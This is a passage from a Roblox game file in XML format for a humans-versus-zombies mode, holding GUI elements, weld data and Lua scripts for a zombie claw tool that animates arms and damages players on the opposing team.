							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5626">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5627">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Script" referent="RBX5628">
			<Properties>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null></null></Content>
				<string name="Name">_Bug</string>
				<ProtectedString name="Source">script.Parent.MouseClick.Changed:connect(function()
local bool = script.Parent.Parent.Parent.Character.Active
&#9;if (bool ~= nil) then
&#9;&#9;bool.Value = not bool.Value
&#9;end
end)</ProtectedString>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX5629">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1</int>
				<CoordinateFrame name="CFrame">
					<X>0</X>
					<Y>4.00438118</Y>
					<Z>-0.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">FakeHead</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="formFactorRaw">0</token>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="SpecialMesh" referent="RBX5630">
				<Properties>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><null></null></Content>
					<token name="MeshType">0</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>1.25</X>
						<Y>1.25</Y>
						<Z>1.25</Z>
					</Vector3>
					<Content name="TextureId"><null></null></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Weld" referent="RBX5631">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0.5</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>-0.340000004</Y>
						<Z>-0.239999995</Z>
						<R00>1</R00>
						<R01>-0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0.966946185</R11>
						<R12>0.254980564</R12>
						<R20>-0</R20>
						<R21>-0.254980564</R21>
						<R22>0.966946185</R22>
					</CoordinateFrame>
					<string name="Name">HeadWeld</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
				</Properties>
			</Item>
		</Item>
		<Item class="HopperBin" referent="RBX5632">
			<Properties>
				<bool name="Active">false</bool>
				<token name="BinType">0</token>
				<string name="Name">AutoBug</string>
				<Content name="TextureId"><null></null></Content>
			</Properties>
			<Item class="LocalScript" referent="RBX5633">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">_EVT</string>
					<ProtectedString name="Source">script.Parent.Selected:connect(function(mouse)
&#9;mouse.Button1Down:connect(function()
&#9;&#9;script.Parent.MouseClick.Value = not script.Parent.MouseClick.Value
&#9;end)
end)</ProtectedString>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX5634">
				<Properties>
					<string name="Name">MouseClick</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="HopperBin" referent="RBX5635">
			<Properties>
				<bool name="Active">false</bool>
				<token name="BinType">0</token>
				<string name="Name">Infected</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126960497</url></Content>
			</Properties>
			<Item class="BoolValue" referent="RBX5636">
				<Properties>
					<string name="Name">MouseClick</string>
					<bool name="Value">true</bool>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5637">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">_EVT</string>
					<ProtectedString name="Source">script.Parent.Selected:connect(function(mouse)
&#9;mouse.Button1Down:connect(function()
&#9;&#9;script.Parent.MouseClick.Value = not script.Parent.MouseClick.Value
&#9;end)
end)</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5638">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">_CamShake</string>
					<ProtectedString name="Source">--[[local cam = game.Workspace.CurrentCamera
for i = 1, 5 do
wait()
local cam_rot = cam.CoordinateFrame - cam.CoordinateFrame.p --* CFrame.fromEulerAnglesXYZ(math.random(-10, 10)/10, math.random(-10, 10)/10, 0)
local cam_scroll = (cam.CoordinateFrame.p - cam.Focus.p).magnitude
local ncf = CFrame.new(cam.Focus.p)*cam_rot*CFrame.fromEulerAnglesXYZ(math.random(-10, 10)/40, math.random(-10, 10)/40, 0)
cam.CoordinateFrame = ncf*CFrame.new(0, 0, cam_scroll)
end]]
script:remove()
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Sound" referent="RBX5639">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">Hit</string>
					<float name="Pitch">1</float>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><url>http://www.roblox.com/asset/?id=25954407</url></Content>
					<float name="Volume">0.5</float>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5640">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">_Main</string>
					<ProtectedString name="Source">--player
player = nil
--save shoulders
RSH, LSH = nil, nil
--welds
RW, LW = Instance.new(&quot;Weld&quot;), Instance.new(&quot;Weld&quot;)
--what anim
anim = &quot;none&quot;

--onselected, save shoulders and get player
script.Parent.Selected:connect(function()
&#9;player = script.Parent.Parent.Parent
&#9;local ch = script.Parent.Parent.Parent.Character
&#9;RSH = ch.Torso[&quot;Right Shoulder&quot;]
&#9;LSH = ch.Torso[&quot;Left Shoulder&quot;]
&#9;--
&#9;RSH.Parent = nil
&#9;LSH.Parent = nil
&#9;--
&#9;RW.Part0 = ch.Torso
&#9;RW.C0 = CFrame.new(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
&#9;RW.C1 = CFrame.new(0, 0.5, 0)
&#9;RW.Part1 = ch[&quot;Right Arm&quot;]
&#9;RW.Parent = ch.Torso
&#9;_G.R = RW
&#9;--
&#9;LW.Part0 = ch.Torso
&#9;LW.C0 = CFrame.new(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
&#9;LW.C1 = CFrame.new(0, 0.5, 0)
&#9;LW.Part1 = ch[&quot;Left Arm&quot;]
&#9;LW.Parent = ch.Torso
&#9;_G.L = LW
&#9;--
&#9;--Bring_Arm_Up animation
&#9;for i = 0, 1, 0.05 do
&#9;&#9;wait()
&#9;&#9;RW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(--[[1.3]]1.7*i, 0, 0--[[-0.5*i]])
&#9;&#9;LW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.7*i, 0, 0--[[0.8*i]])&#9;
&#9;&#9;--LW.C1 = CFrame.new(-0.3*i, 0.5+1.2*i, 0)
&#9;end
end)

--griptcf = CFrame.new(0, -1, 0) * CFrame.fromEulerAnglesXYZ(-math.pi/2+0.5, 0, 0)

script.Parent.Deselected:connect(function()
&#9;--Bring_Arm_Down animation
&#9;RW.Parent = nil
&#9;LW.Parent = nil
&#9;RSH.Parent = player.Character.Torso
&#9;LSH.Parent = player.Character.Torso
end)

function tagHumanoid(humanoid, player)
&#9;local creator_tag = Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value = player
&#9;creator_tag.Name = &quot;creator&quot;
&#9;creator_tag.Parent = humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid ~= nil then
&#9;&#9;local tag = humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag ~= nil then
&#9;&#9;&#9;tag.Parent = nil
&#9;&#9;end
&#9;end
end

function ClawHit(hit) 
if hit.Parent ~= nil then 
nam = hit.Parent.Name 
if game.Players:FindFirstChild(nam) ~= nil then 
if game.Players[nam].TeamColor == BrickColor.new(&quot;Bright red&quot;) 
then 
local humanoid = hit.Parent:findFirstChild(&quot;Humanoid&quot;) 
local vCharacter = script.Parent.Parent.Parent.Character 
local hum = vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if tool held by a character 
if humanoid~=nil and humanoid ~= hum and hum ~= nil then 
-- final check, make sure sword is in-hand 
tagHumanoid(humanoid, vPlayer) 
humanoid:TakeDamage(13) 
script.Parent.Hit:Play()
wait(1) 
untagHumanoid(humanoid) 
end 
end 
end 
end 
end 



function Claw()
&#9;for i = 0, 1, 0.2 do
&#9;&#9;if anim ~= &quot;norm&quot; then return end
&#9;&#9;wait()
&#9;&#9;RW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.3+i, 0, 0--[[-0.5+0.5*i]])
&#9;&#9;LW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.3+i, 0, 0--[[-0.5+0.5*i]])--[[CFrame.fromEulerAnglesXYZ(1.7-0.25*i, 0, 0.8-0.6*i)]]
&#9;end

&#9;local ch = script.Parent.Parent.Parent.Character
&#9;local con1 = ch:FindFirstChild(&quot;Right Arm&quot;).Touched:connect(ClawHit)
&#9;local con2 = ch:FindFirstChild(&quot;Left Arm&quot;).Touched:connect(ClawHit)

&#9;for i = 0, 1, 0.25 do
&#9;&#9;if anim ~= &quot;norm&quot; then return end
&#9;&#9;wait()
&#9;&#9;RW.C0 = CFrame.new(1.5, 0.5, -0.75) * CFrame.fromEulerAnglesXYZ(2.3-2.5*i, 0, -0.3)
&#9;&#9;LW.C0 = CFrame.new(-1.5, 0.5, -0.75) * CFrame.fromEulerAnglesXYZ(2.3-2.5*i--[[1.45-0.25*i]], 0, 0.3--[[0.2]])&#9;
&#9;end

&#9;con1:disconnect()
&#9;con2:disconnect()
&#9;------
&#9;for i = 0, 1, 0.2 do
&#9;&#9;if anim ~= &quot;norm&quot; then return end
&#9;&#9;wait()
&#9;&#9;RW.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.6*i, 0, 0)--[[CFrame.fromEulerAnglesXYZ(-0.2+1.5*i, 0, -0.5*i)]]
&#9;&#9;LW.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(1.6*i, 0, 0)--[[CFrame.fromEulerAnglesXYZ(1.2+0.5*i, 0, 0.2+0.6*i)]]&#9;
&#9;end
end

local a = false
local co = nil
--OMGHAX mouseclick
local last_click = 0
script.Parent.MouseClick.Changed:connect(function()
&#9;if time() - last_click &lt; 1 then
&#9;
&#9;else
&#9;&#9;anim = &quot;norm&quot;
&#9;&#9;last_click = time()
&#9;&#9;Claw()
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
		</Item>
	</Item>
	<Item class="Teams" referent="RBX5641">
		<Properties>
			<string name="Name">Teams</string>
		</Properties>
		<Item class="Team" referent="RBX5642">
			<Properties>
				<bool name="AutoAssignable">true</bool>
				<bool name="AutoColorCharacters">false</bool>
				<string name="Name">Humans</string>
				<int name="Score">0</int>
				<int name="TeamColor">21</int>
			</Properties>
		</Item>
		<Item class="Team" referent="RBX5643">
			<Properties>
				<bool name="AutoAssignable">false</bool>
				<bool name="AutoColorCharacters">false</bool>
				<string name="Name">Zombies</string>
				<int name="Score">0</int>
				<int name="TeamColor">151</int>
			</Properties>
		</Item>
	</Item>
</roblox>